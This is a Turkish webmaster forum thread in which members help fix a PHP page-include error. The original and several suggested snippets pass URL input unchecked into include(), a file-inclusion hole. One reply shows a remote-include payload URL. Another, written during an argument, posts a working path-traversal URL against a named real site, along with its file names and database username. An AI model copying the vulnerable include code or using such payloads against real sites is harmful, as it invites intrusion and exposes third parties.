İyinet'e Hoşgeldiniz!

Türkiye'nin En Eski Webmaster Forum'una Hemen Kayıt Olun!

Kayıt Ol!

php kod hatası veriyor;

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

canner

0
İyinet Üyesi
Katılım
3 Haziran 2005
Mesajlar
386
Reaction score
0
Yapmaya çalıştığım sitede alt kısmı alt.php üst kısmı üst php sağ taraftaki kategoriler kısmını kategoriler.php diye ayırdım.

Sitenin orta kısmınada <? include("$_GET[sayfa]orta2.php");?> bunu yazma sebebim sağ taraftaki kategorilerin yazılarını orta kısmında çıkartmamdır.

sağ taraftaki kategorileri tıklayınca hadis-ravi-nakil-yaziorta2.php oluyor hadis-ravi-nakil-yazi böyle olması lazım


çıkan hata...

Warning: main(hadis-ravi-nakil-yaziorta2.php) [function.main]: failed to open stream: No such file or directory in /home/dosya/domains/siteismi.com/public_html/index.php on line 47

Warning: main(hadis-ravi-nakil-yaziorta2.php) [function.main]: failed to open stream: No such file or directory in /home/dosya/domains/siteismi.com/public_html/index.php on line 47

Not 47. Kod hatası <? include("$_GET[sayfa]orta2.php");?>
 

iyinet

Root
Admin
Hosting Firması
Katılım
2 Eylül 2002
Mesajlar
5,028
Reaction score
63
Konum
Sakarya
Orta kisimda cikartmak istedigin dosya adi nedir?
Not: bu sekilde dosya include etmen guvenlik acisindan sakincali, siteni hek edebilirler.
 

canner

0
İyinet Üyesi
Katılım
3 Haziran 2005
Mesajlar
386
Reaction score
0
orta kısımda çıkan menü sağ taraftaki kategorileri tıklayınca çıkıyordu biraz kurcaladım ama bozduk...

Not: bu sekilde dosya include etmen guvenlik acisindan sakincali, siteni hek edebilirler.

Bunu nasıl önleyebiliriim! include kısmını çıkarmalımıyım yoksa...
 

canner

0
İyinet Üyesi
Katılım
3 Haziran 2005
Mesajlar
386
Reaction score
0
iyinet: Orta kısmında çıkması gerekn orta2.php diye bir dosya fakat (orta2.php onu eklemeyi unutmuşum) şimdi ekledim.

orta2.php yazısı çıkıyor ama birde

Notice: Undefined index: sayfa in c:\program files\easyphp1-8\www\hadis\index.php on line 47
bu jhata çıkıyor bir sıra orta2.php eklemeyince 2 sıraçıkıyordu...

47. satır include ("$_GET[sayfa]orta2.php");
 

sempaty

1
İyinet Üyesi
Katılım
25 Şubat 2005
Mesajlar
3,824
Reaction score
19
Konum
hawaii. ama sanal tur.
<? include("$_GET[sayfa].php");?>

şeklinde yapabilirsin ama iyinetin dediği gibi pek güvenli değil.

www.siten.com/?sayfa=http://hek/hek.php gibi bi giriş ile mesela..
 

canner

0
İyinet Üyesi
Katılım
3 Haziran 2005
Mesajlar
386
Reaction score
0
güvenli olması için ne yapmam gerekli? yardım edin
 

canner

0
İyinet Üyesi
Katılım
3 Haziran 2005
Mesajlar
386
Reaction score
0
konuyu ayakta tutmak için yaptığımı düşünmeyin... devamlı yazmamdan dolayı...

Yanlış nerede yaptım peki... Alt kısmı üst kısmı yan kısmı değişiklikler yapmak için kolay olsun diye bölümlere ayırdım orta kısımdada yazılar çıksın diye ("$_GET[sayfa]orta2.php");ekledim bunun neresinde hata var
 

iyinet

Root
Admin
Hosting Firması
Katılım
2 Eylül 2002
Mesajlar
5,028
Reaction score
63
Konum
Sakarya
Ne anlattigini anlamakta zorluk cekiyorum.
Sitenin adresini verirsen belki yardimci olur.
 

iyinet

Root
Admin
Hosting Firması
Katılım
2 Eylül 2002
Mesajlar
5,028
Reaction score
63
Konum
Sakarya
Bu koda gore siten ornegin iman-mumin-yakinorta2.php dosyasini acmaya calisiyor, boyle bir dosya varmi gercekten?
Amacin bu dosyayi mi actirmak baska bir dosyayi mi?
 

canner

0
İyinet Üyesi
Katılım
3 Haziran 2005
Mesajlar
386
Reaction score
0
iman-mumin-yakinorta2.php böyle değilde iman-mumin-yakin.php olarak kayıtlı dosyam mevcut...
Sol taraf kategoriye tıklayınca
http://www.hadisiserif.com/?sayfa=iman-mumin-yakin bunu böyle adres var önceden açılıyordu bozuldu kod...

birde nasıl yaparsam heklenmeyi önleyebiliriim
 

canner

0
İyinet Üyesi
Katılım
3 Haziran 2005
Mesajlar
386
Reaction score
0
orta2.php dosyası sitenin orta kısmıdır
 

canner

0
İyinet Üyesi
Katılım
3 Haziran 2005
Mesajlar
386
Reaction score
0
include "./".$_GET['sayfa']; bu kodu <? include("$_GET[sayfa] .php"); bunun yerine denedim localhostta sorun aynı? include './orta2.php';

Sorun devam ediyor
 

iyinet

Root
Admin
Hosting Firması
Katılım
2 Eylül 2002
Mesajlar
5,028
Reaction score
63
Konum
Sakarya
iman-mumin-yakin.php icin
<? include($_GET['sayfa'].'.php'); ?>
olmali.

Ek olarak benim anlamadigim orta2.php yi ne zaman kullandigin, $_GET['sayfa'] bos oldugu zaman mi?
 

qdin

0
İyinet Üyesi
Katılım
10 Şubat 2006
Mesajlar
1,677
Reaction score
1
Konum
Ankara
Merhaba,
Kod:
<?
if ($icerik) {
  $sayfa = "" . $icerik . ".php";
  if (file_exists($sayfa)) {
    include $sayfa;
  }
?>

?icerik=alivelideli

bu kod ile alivelideli.php yi include etmiş oluyorsunuz sanırım sorunuzun cevabı bu ?
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
Merhaba,
Kod:
<?
if ($icerik) {
  $sayfa = "" . $icerik . ".php";
  if (file_exists($sayfa)) {
    include $sayfa;
  }
?>

?icerik=alivelideli

bu kod ile alivelideli.php yi include etmiş oluyorsunuz sanırım sorunuzun cevabı bu ?
bu kod sakıncalı gel beni hek diye bağırıyor.

buyrun düzgünü;

PHP:
$sayfa=$_GET[sayfa];

if ($sayfa!=lisanssız or isset($sayfa)) {
  if (file_exists("./".$sayfa.".php")) {
    include "./".$sayfa.".php";
  } else {
    header("Location:index.php");
    die();
  }
}
 

qdin

0
İyinet Üyesi
Katılım
10 Şubat 2006
Mesajlar
1,677
Reaction score
1
Konum
Ankara
bu kod sakıncalı gel beni hek diye bağırıyor.

buyrun düzgünü;

PHP:
$sayfa=$_GET[sayfa];
 
if ($sayfa!=lisanssız or isset($sayfa)) {
  if (file_exists("./".$sayfa.".php")) {
    include "./".$sayfa.".php";
  } else {
    header("Location:index.php");
    die();
  }
}

derki kodunda :
./ koyuncami coder olunuyor :)

Merhaba,
www.kasemdanismanlik.com da aynı kod var bir hekleyi ver sana zahmet göreyim. Senin kadar ezik birini görmedim -Rep veriyorsun diyorsinki benle ugraşma paçamdan dişlerini cekmiyorsun. ve o kadar şikayet etmeme ragmen sana katlanıyorlarya ne diyecegimi bilemiyorum ne yapışkan bir insansin sen ugrasma kardesim yazma benim yazdigim yazilara yorum git nacizane işler ile ugraş töbe töbe.
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
http://www.kasemdanismanlik.com/?icerik=../index

bu sadece bir uyarıdır. ben lamer degilim hekle uğraşmam ama fena benzetirler.



buda resmi index php yi sürekli içe aktararak sonsuz bir döngü oluşturuyor gördüğünüz gibi.

dipnot: şu dakikadan sonra bidi bidi etmezsin umarım. birşey bilmiyorsan bilmemek ayıp değil ama yalan dolanla biliyormuş gibi görünmeye çalışma.

Sonra dosyaların arasında

index.php
icerik.php
icerik/orta.php
icerik/iletisim.php
icerik/dfghj.php
icerik/altmyc.php

mysql kullanıcı adın "kasem"

vs.vs.vs public bir ftp den php dosyası çalıştırmak çok basit.
 

qdin

0
İyinet Üyesi
Katılım
10 Şubat 2006
Mesajlar
1,677
Reaction score
1
Konum
Ankara
ee devamı ne? icerik ile döngü yaptın ne oldu sayfada kullanıcılar rahatsızmı oldu? public_ftp yi kullanarak dosya at bakalım bu bahsettigin hikaye dilden dile söyleniyormu? önemli bişi olsa elli defa düzeltilmişti cocukların eline verilen oyuncaklari acık diye ortaya yazma.
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Türkiye’nin ilk webmaster forum sitesi iyinet.com'da forum üyeleri tarafından yapılan tüm paylaşımlardan; Türk Ceza Kanunu’nun 20. Maddesinin, 5651 Sayılı Kanununun 4. maddesinin 2. fıkrasına göre, paylaşım yapan üyeler sorumludur.

Backlink ve Tanıtım Yazısı için iletişime geçmek için Skype Adresimiz: .cid.1580508955483fe5

Üst